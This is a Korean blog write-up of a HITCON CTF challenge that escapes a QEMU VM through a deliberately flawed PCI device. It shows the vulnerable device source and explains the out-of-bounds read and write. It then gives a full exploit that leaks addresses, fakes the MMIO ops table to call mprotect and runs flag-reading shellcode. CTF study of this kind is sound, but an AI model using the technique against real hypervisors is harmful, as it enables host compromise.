HITCON CTF에 참가해서 팀 Purity로 19등이라는 성적을 얻었고, 그 때 못 푼 문제의 대한 write-up을 작성해보려고 한다.

#include "hw/hw.h"
#include "hw/pci/msi.h"
#include "hw/pci/pci.h"
#include "qapi/visitor.h"
#include "qemu/main-loop.h"
#include "qemu/module.h"
#include "qemu/osdep.h"
#include "qom/object.h"

#define TYPE_PCI_MARIA_DEVICE "maria"
#define MARIA_MMIO_SIZE 0x10000

#define BUFF_SIZE 0x2000

typedef struct {
    PCIDevice pdev;
    struct {
		uint64_t src;
        uint8_t off;
	} state;
    char buff[BUFF_SIZE];
    MemoryRegion mmio;
} MariaState;

DECLARE_INSTANCE_CHECKER(MariaState, MARIA, TYPE_PCI_MARIA_DEVICE)

static uint64_t maria_mmio_read(void *opaque, hwaddr addr, unsigned size) {
    MariaState *maria = (MariaState *)opaque;
    uint64_t val = 0;
    switch (addr) {
        case 0x00:
            cpu_physical_memory_rw(maria->state.src, &maria->buff[maria->state.off], BUFF_SIZE, 1); // state.src에 전달
            val = 0x600DC0DE;
            break;
        case 0x04:
            val = maria->state.src;
            break;
        case 0x08:
            val = maria->state.off;
            break;
        default:
            val = 0xDEADC0DE;
            break;
    }
    return val;
}

static void maria_mmio_write(void *opaque, hwaddlr addr, uint64_t val, unsigned size) {
    MariaState *maria = (MariaState *)opaque;
    switch (addr) {
        case 0x00:
            cpu_physical_memory_rw(maria->state.src, &maria->buff[maria->state.off], BUFF_SIZE, 0); // stare.src => maria->state.off
            break;
        case 0x04:
            maria->state.src = val;
            break;
        case 0x08:
            maria->state.off = val;
            break;
        default:
            break;
    }
}

static const MemoryRegionOps maria_mmio_ops = {
    .read = maria_mmio_read,
    .write = maria_mmio_write,
    .endianness = DEVICE_NATIVE_ENDIAN,
    .valid = {
        .min_access_size = 4,
        .max_access_size = 4,
    },
    .impl = {
        .min_access_size = 4,
        .max_access_size = 4,
    },
};

static void pci_maria_realize(PCIDevice *pdev, Error **errp) {
    MariaState *maria = MARIA(pdev);
    memory_region_init_io(&maria->mmio, OBJECT(maria), &maria_mmio_ops, maria, "maria-mmio", MARIA_MMIO_SIZE);
    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &maria->mmio);
}

static void maria_instance_init(Object *obj) {
    MariaState *maria = MARIA(obj);
    memset(&maria->state, 0, sizeof(maria->state));
    memset(maria->buff, 0, sizeof(maria->buff));
}

static void maria_class_init(ObjectClass *class, void *data) {
    DeviceClass *dc = DEVICE_CLASS(class);
    PCIDeviceClass *k = PCI_DEVICE_CLASS(class);

    k->realize = pci_maria_realize;
    k->vendor_id = PCI_VENDOR_ID_QEMU;
    k->device_id = 0xDEAD;
    k->revision = 0x0;
    k->class_id = PCI_CLASS_OTHERS;

    set_bit(DEVICE_CATEGORY_MISC, dc->categories);
}

static void pci_maria_register_types(void) {
    static InterfaceInfo interfaces[] = {
        { INTERFACE_CONVENTIONAL_PCI_DEVICE },
        { },
    };
    static const TypeInfo maria_info = {
        .name = TYPE_PCI_MARIA_DEVICE,
        .parent = TYPE_PCI_DEVICE,
        .instance_size = sizeof(MariaState),
        .instance_init = maria_instance_init,
        .class_init = maria_class_init,
        .interfaces = interfaces,
    };

    type_register_static(&maria_info);
}

type_init(pci_maria_register_types)

코드는 위와 같다. qemu 문제는 처음이라 관련 write-up 을 뒤져가면서 함수를 어떻게 호출해야 하는지 공부했다.

간략하게 말하면 두 가지 방식이 존재하는데, 첫 번째로 MMIO를 통해서 메모리를 레지스터처럼 쓰는 방법을 이용해서 일정 오프셋을 넣어주면 그 오프셋에 해당하는 함수가 실행된다.

 

두 번째로 in out 과 같이 디바이스에서 열어놓은 포트를 통해 통신하여 데이터를 I/O 해주는 방법이 있다.

이 문제에선 MMIO 방식으로 데이터를 I/O 하기 때문에, 일정한 오프셋을 더해서 원하는 기능을 호출해주면 된다.

 

통신하는 방법은 여러가지 있는데, 가장 많이 쓰는 방법은 /sys/devices/pci0000:00/0000:00:??.0/resource0 파일을 open 해주면, 이 때 반환된 파일 디스크립터를 통해 디바이스 메모리에 접근할 수 있다. 이제 이걸 통해서 공격을 수행하면 된다.

 

여기서 알아야 할 함수는 cpu_physical_memory_rw 이다. 첫 번째 인자는 qemu 외부에서 실제 주소가 들어가고, (physical memory) 두 번쨰 인자는 qemu 내부에서 사용하는 주소들이 들어간다. 세 번째 인자는 입/출력을 할 버퍼의 길이를 지정해주고, 네 번째에선 모드를 지정한다.

 

네 번째 인자가 0이면 write를 하게 되면서, maria->buff[maria->state.off]에 있는 내용을  BUFF_SIZE 만큼 maria->state.src에 넣게된다.

네 번째 인자가 1이면 read를 하게 되면서, maria->state.src에 있는 내용을 BUFF_SIZE 만큼 maria->buff[maria->state.off] 에 복사하게 된다. 

 

여기서 가장 먼저 발생할 수 있는 취약점은, 언뜻보면 maria->off가 uint8_t type으로, 0xff 까지만 쓸 수 있으니 oob가 안 나지 않을까 하고 생각할 수 있는데, off가 0xff까지만 사용할 수 있더라도, BUFF_SIZE는 무조건 0x2000을 사용하기 때문에, read를 사용하면 buff 뒤에 있는 값들까지 모두 읽을 수 있고, 이는 중요한 정보를 많이 담고 있기에 크리티컬하다.

 

read를 이용해서 maria->buff[maria->state.off] 를 0x2000 만큼 maria->state.src에 전달하면 된다. 근데 이때 state.src는 physical address로 전달해야해서 이런걸 변환해주는 함수를 찾아서 템플릿으로 넣어두고 사용하면 된다. 대회 때 여기서 디게 많이 헷갈렸는데, physical address 로 전달하게 되면 알아서 내부에서 virtual address로 바뀌어서 우리가 아는 주소에 실제 값들이 들어가게 된다. 이게 엄청 헷갈려서 몇 시간 잡아먹었음. 기초 운영체제 지식같은데 기초가 중요한 것 같다.

 

그러면 이제 qemu base 주소와, maria 주소를 알아서 write 함수를 이용해 fake maria state struct를 만들어 주면되는데, 이 때 사용하는 흔한 벡터가 mmio 내부엔 ops 라고 해서 함수포인터들을 저장해놓은 포인터가 존재한다. 이 때 fake vtable 을 만들어서 이 포인터의 주소를 ops에 덮어주면 우리가 원하는 함수포인터들을 사용할 수 있다. 

보통 ROP를 이용하여 푸는데 익스코드를 보니까 디게 복잡했다. 그래서 다른 풀이를 봤는데 mprotect를 이용해서 간단하게 RWX 권한을 메모리에 줄 수 있고 해당 주소를 실행해서 플래그를 읽을 수 있다.

 

깃헙에서 solve 코멘트를 보면, 버퍼 크기가 0x1000이라 딱 PAGE_SIZE로, 그 이후에 배치되는 주소들이 다른 가상주소에 배치될 수도 있다. 그래서 이를 방지하기 위해서 Huge Pages 라는게 존재하는데 이는 다음 사이트 참고. https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/performance_tuning_guide/s-memory-transhuge

 

5.2. Huge Pages and Transparent Huge Pages Red Hat Enterprise Linux 6 | Red Hat Customer Portal

Access Red Hat’s knowledge, guidance, and support through your subscription.

access.redhat.com

익스플로잇 코드에 지금까지 설명한 모든 것이 담겨있다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/uio.h>
#include <sys/io.h>
#include <sys/types.h>
#include <inttypes.h>
#include <assert.h>
#include <sys/stat.h>

#define MARIA_MMIO_READ_SRC 0x04
#define MARIA_MMIO_READ_OFF 0x08
#define MARAI_MMIO_READ_TRIG 0x00
#define MARIA_MMIO_WRITE_SRC 0x04
#define MARIA_MMIO_WRITE_OFF 0x08
#define MAIRA_MMIO_WRITE_TRIG 0x00
#define PAGE_SIZE 0x1000

void die(const char* msg) {
    perror(msg);
    exit(1);
}

uint32_t read_magic(void* mem) {
    return *(uint32_t *)((void*)mem);
}

void* map_device(int fd) {
    void* mem;
    mem = mmap(NULL, PAGE_SIZE * 4, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
    if(mem == MAP_FAILED)
        die("mmap");
    return mem;
}

void unmap_device(void* mem) {
    munmap((void*)mem, MAP_SIZE);
}

void write_src(void* mem, uint32_t src) {
    *(uint32_t *)((void *)mem + MARIA_MMIO_WRITE_SRC) = src;
}

void write_off(void* mem, uint8_t off) {
    *(uint32_t *)((void *)mem + MARIA_MMIO_WRITE_OFF) = off;   
}

uint32_t read_src(void* mem) {
    return *(uint32_t *)((void *)mem + MARIA_MMIO_READ_SRC);
}

uint32_t read_off(void* mem) {
    return *(uint32_t *)((void *)mem + MARIA_MMIO_READ_OFF);
}

void write_trigger(void* mem, uint32_t value) {
    *(uint32_t *)((void *)mem) = value;
}

uint32_t read_trigger(void* mem) {
    return *(uint32_t *)((void *)mem);
}

void* map_buf() {
    void* out;
    out = mmap(NULL, PAGE_SIZE * 4, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if(out == MAP_FAILED)
        die("mmap");
    memset((void*)out, 0, 4096);
    return out;
}

void read_from_buf(void* mem, uint64_t local_phys, uint8_t off) {
    write_src(mem, local_phys);
    write_off(mem, off);
    read_trigger(mem);
}

uint64_t virt2phys(void* addr) {
    uint64_t page = 0;
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        fprintf(stderr, "[!] open error in gva2gpa\n");
        exit(1);
    }
    lseek(fd, ((uint64_t)addr / PAGE_SIZE) * 8, SEEK_SET);
    read(fd, &page, 8);
    return ((page & 0x7fffffffffffff) * PAGE_SIZE) | ((uint64_t)addr & 0xfff);
}

void exploit(void* mem) {
    char* buf;
    uint64_t buf_phys;
    while(1) {
        buf = mmap(0, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | MAP_NONBLOCK, -1, 0);
        if(buf < 0) 
            die("mmap");
        memset(buf, 0, 2 * PAGE_SIZE);
        buf_phys = virt2phys(buf);
        uint64_t buf_phys_1000 = virt2phys(buf + PAGE_SIZE);
        if(buf_phys + PAGE_SIZE == buf_phys_1000)
            break;
    }
    write_src(mem, buf_phys);
    write_off(mem, 0xf0);
    read_trigger(mem);
    uint64_t *buff_u64 = (uint64_t *)buf;
    for(int i = 0; i < 0x400; i++) {
        printf("%ld : 0x%lx\n", i, buff_u64[i]);
    }
    uint64_t maria_buff_addr = buff_u64[0x3fa] - 0x20b8;
    uint64_t maria_addr = maria_buff_addr - 0xa30;
    uint64_t qemu_base = buff_u64[0x3eb] - 0xf1ff80;
    uint64_t mprotect_plt = qemu_base + 0x30c400;
    printf("maria_buff_addr : %p\n", maria_buff_addr);
    printf("maria_addr : %p\n", maria_addr);
    printf("qemu_base : %p\n", qemu_base);
    printf("buff_u64 : %p\n", buff_u64);
    
    buff_u64[0x0] = maria_buff_addr + 0x4f0;
    //buff_u64[0x0] = 0xdeadbeefcafebabe;
    buff_u64[0x1] = mprotect_plt;

    /* shellcode */
    char shellcode[] = {
        0xeb, 0x10, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72,
        0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x6a, 0x02, 0x58, 0x48, 0x8d, 0x3d,
        0xe6, 0xff, 0xff, 0xff, 0x31, 0xf6, 0x0f, 0x05, 0x48, 0x97, 0x31, 0xc0,
        0x54, 0x5e, 0x6a, 0x70, 0x5a, 0x0f, 0x05, 0x48, 0x92, 0x6a, 0x01, 0x58,
        0x6a, 0x01, 0x5f, 0x54, 0x5e, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x6a, 0x3c,
        0x58, 0x0f, 0x05
    };
    memcpy(&buff_u64[0x80], shellcode, sizeof(shellcode));

    buff_u64[0x3ec] = maria_buff_addr & ~0xfff;
    buff_u64[0x3eb] = maria_buff_addr + 0xf0;
    buff_u64[0x3eb - (maria_addr & 0xfff)/8] = maria_buff_addr + 0xf0;
    write_src(mem, buf_phys);
    write_off(mem, 0xf0);
    write_trigger(mem, 0x0);

    write_trigger(mem + 0x2000, 0x7);
    read_trigger(mem);
}

int main(int argc, char *argv[]) {
    int fd;
    void* mem;
    uint32_t magic;
    fd= open("/sys/devices/pci0000:00/0000:00:05.0/resource0", O_RDWR | O_SYNC);
    if(fd < 0)
        die("open");
    mem = map_device(fd);
    system("sysctl vm.nr_hugepages=32");
    system("cat /proc/meminfo | grep -i huge");
    exploit(mem);
    unmap_device(mem);
    close(fd);
    return 0;
}

'CTF' 카테고리의 다른 글

SECCON 2023 - selfcet (pwn)  (0) 2023.09.17
CTF 풀거  (0) 2023.09.14
SECCON 2022 - babyfile (pwn)  (0) 2023.09.14
SECCON 2022 - koncha (pwn)  (0) 2023.09.13

+ Recent posts